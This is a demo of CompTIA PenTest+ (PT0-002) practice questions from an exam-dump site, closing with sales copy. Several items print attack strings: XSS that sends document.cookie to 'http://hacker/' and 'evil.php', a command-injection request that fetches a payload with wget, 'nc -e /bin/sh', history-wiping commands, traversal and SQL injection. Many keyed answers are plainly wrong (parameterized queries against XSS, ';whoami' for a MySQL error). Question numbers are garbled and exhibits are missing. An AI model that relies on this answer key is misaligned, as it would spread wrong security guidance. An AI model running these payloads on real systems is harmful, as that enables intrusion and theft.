Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

https://www.2passeasy.com/dumps/PT0-002/

NEW QUESTION 1
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

A. The libraries may be vulnerable
B. The licensing of software is ambiguous
C. The libraries' code bases could be read by anyone
D. The provenance of code is unknown
E. The libraries may be unsupported
F. The libraries may break the application

Answer: AC

NEW QUESTION 2
A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.
Which of the following is most important for the penetration tester to define FIRST?

A. Establish the format required by the client.
B. Establish the threshold of risk to escalate to the client immediately.
C. Establish the method of potential false positives.
D. Establish the preferred day of the week for reporting.

Answer: A

NEW QUESTION 3
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

A. Open-source research
B. A ping sweep
C. Traffic sniffing
D. Port knocking
E. A vulnerability scan
F. An Nmap scan

Answer: AC

NEW QUESTION 4
A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

A. Ensure the client has signed the SOW.
B. Verify the client has granted network access to the hot site.
C. Determine if the failover environment relies on resources not owned by the client.
D. Establish communication and escalation procedures with the client.

Answer: A

NEW QUESTION 5
A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

A. Halt the penetration test.
B. Contact law enforcement.
C. Deconflict with the penetration tester.
D. Assume the alert is from the penetration test.

Answer: B

NEW QUESTION 6
A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

A. Forensically acquire the backdoor Trojan and perform attribution
B. Utilize the backdoor in support of the engagement
C. Continue the engagement and include the backdoor finding in the final report
D. Inform the customer immediately about the backdoor

Answer: D

NEW QUESTION 7
You are a penetration tester running port scans on a server. INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

A. Mastered
B. Not Mastered

Answer: A

Explanation:
Part 1 - nmap 192.168.2.2 -sV -O
Part 2 - Weak SMB file permissions

NEW QUESTION 8
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

A. Edit the discovered file with one line of code for remote callback
B. Download .pl files and look for usernames and passwords
C. Edit the smb.conf file and upload it to the server
D. Download the smb.conf file and look at configurations

Answer: C

NEW QUESTION 9
A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

A. RFID cloning
B. RFID tagging
C. Meta tagging
D. Tag nesting

Answer: C

NEW QUESTION 10
A penetration tester writes the following script:

Which of the following objectives is the tester attempting to achieve?

A. Determine active hosts on the network.
B. Set the TTL of ping packets for stealth.
C. Fill the ARP table of the networked devices.
D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 10
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

A. Create a one-shot systemd service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.
C. Run the nc -e /bin/sh <...> command.
D. Move laterally to create a user account on LDAP

Answer: A

Explanation:
https://hosakacorp.net/p/systemd-user.html

NEW QUESTION 12
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
• The following request was intercepted going to the network device: GET /login HTTP/1.1
Host: 10.50.100.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3Jk
• Network management interfaces are available on the production network.
• An Nmap scan returned the following:

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

A. Enforce enhanced password complexity requirements.
B. Disable or upgrade SSH daemon.
C. Disable HTTP/301 redirect configuration.
D. Create an out-of-band network for management.
E. Implement a better method for authentication.
F. Eliminate network management and control interfaces.

Answer: CE

NEW QUESTION 15
A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress › ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
Which of the following tools would be BEST for the penetration tester to use to explore this site further?

A. Burp Suite
B. DirBuster
C. WPScan
D. OWASP ZAP

Answer: A

NEW QUESTION 16
A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

A. Multiple handshakes
B. IP addresses
C. Encrypted file transfers
D. User hashes sent over SMB

Answer: D

NEW QUESTION 21
A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

A. ROE
B. SLA
C. MSA
D. NDA

Answer: D

NEW QUESTION 22
A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.
Which of the following describes the scope of the assessment?

A. Partially known environment testing
B. Known environment testing
C. Unknown environment testing
D. Physical environment testing

Answer: C

NEW QUESTION 23
Given the following code:
<SCRIPT>var+img=new+Image();img.src=”http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

A. Web-application firewall
B. Parameterized queries
C. Output encoding
D. Session tokens
E. Input validation
F. Base64 encoding

Answer: BE

NEW QUESTION 25
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script. Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

A. Mastered
B. Not Mastered

Answer: A

Explanation:
A picture containing shape Description automatically generated

A picture containing treemap chart Description automatically generated

Text Description automatically generated

Graphical user interface Description automatically generated

NEW QUESTION 28
A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet.
Which of the following tools or techniques would BEST support additional reconnaissance?

A. Wardriving
B. Shodan
C. Recon-ng
D. Aircrack-ng

Answer: C

NEW QUESTION 32
A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

A. Nmap
B. Wireshark
C. Metasploit
D. Netcat

Answer: B

NEW QUESTION 33
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

A. Clarify the statement of work.
B. Obtain an asset inventory from the client.
C. Interview all stakeholders.
D. Identify all third parties involved.

Answer: A

NEW QUESTION 37
A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

A. Weekly
B. Monthly
C. Quarterly
D. Annually

Answer: A

NEW QUESTION 41
A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

 Pre-engagement interaction (scoping and ROE)
 Intelligence gathering (reconnaissance)
 Threat modeling
 Vulnerability analysis
 Exploitation and post exploitation
 Reporting
Which of the following methodologies does the client use?

A. OWASP Web Security Testing Guide
B. PTES technical guidelines
C. NIST SP 800-115
D. OSSTMM

Answer: B

NEW QUESTION 46
A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?

A. <script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
B. ../../../../../../../../../../etc/passwd
C. /var/www/html/index.php;whoami
D. 1 UNION SELECT 1, DATABASE(),3-

Answer: C

NEW QUESTION 49
A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?

A. nmap -sT -vvv -O 192.168.1.2/24 -PO
B. nmap -sV 192.168.1.2/24 -PO
C. nmap -sA -v -O 192.168.1.2/24
D. nmap -sS -O 192.168.1.2/24 -T1

Answer: D

NEW QUESTION 52
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IF
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
Which of the following commands should the penetration tester run post-engagement?

A. grep –v apache ~/.bash_history > ~/.bash_history
B. rm –rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM "apache" /F

Answer: B

NEW QUESTION 54
User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

A. MD5
B. bcrypt
C. SHA-1
D. PBKDF2

Answer: A

NEW QUESTION 55
Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

A. will reveal vulnerabilities in the Modbus protocol.
B. may cause unintended failures in control systems.
C. may reduce the true positive rate of findings.
D. will create a denial-of-service condition on the IP networks.

Answer: B

NEW QUESTION 56
A penetration tester gains access to a system and establishes persistence, and then runs the following commands:
cat /dev/null > temp
touch –r .bash_history temp mv temp .bash_history
Which of the following actions is the tester MOST likely performing?

A. Redirecting Bash history to /dev/null
B. Making a copy of the user's Bash history for further enumeration
C. Covering tracks by clearing the Bash history
D. Making decoy files on the system to confuse incident responders

Answer: C

NEW QUESTION 61
Which of the following BEST describe the OWASP Top 10? (Choose two.)

A. The most critical risks of web applications
B. A list of all the risks of web applications
C. The risks defined in order of importance
D. A web-application security standard
E. A risk-governance and compliance framework
F. A checklist of Apache vulnerabilities

Answer: AC

NEW QUESTION 62
A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

A. Phishing
B. Tailgating
C. Baiting
D. Shoulder surfing

Answer: C

NEW QUESTION 66
A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

A. John the Ripper
B. Hydra
C. Mimikatz
D. Cain and Abel

Answer: A

NEW QUESTION 69

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

A. Enforce mandatory employee vacations
B. Implement multifactor authentication
C. Install video surveillance equipment in the office
D. Encrypt passwords for bank account information

Answer: B

NEW QUESTION 74

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

A. Whether the cloud service provider allows the penetration tester to test the environment
B. Whether the specific cloud services are being used by the application
C. The geographical location where the cloud services are running
D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 78

A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

A. SQLmap
B. Nessus
C. Nikto
D. DirBuster

Answer: B

NEW QUESTION 79

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

A. Whether sensitive client data is publicly accessible
B. Whether the connection between the cloud and the client is secure
C. Whether the client's employees are trained properly to use the platform
D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 82

......

THANKS FOR TRYING THE DEMO OF OUR PRODUCT

Visit Our Site to Purchase the Full Set of Actual PT0-002 Exam Questions With Answers.

We Also Provide Practice Exam Software That Simulates Real Exam Environment And Has Many Self-Assessment Features. Order the PT0-002 Product From:

https://www.2passeasy.com/dumps/PT0-002/

Money Back Guarantee

PT0-002 Practice Exam Features:

* PT0-002 Questions and Answers Updated Frequently

* PT0-002 Practice Questions Verified by Expert Senior Certified Staff

* PT0-002 Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* PT0-002 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year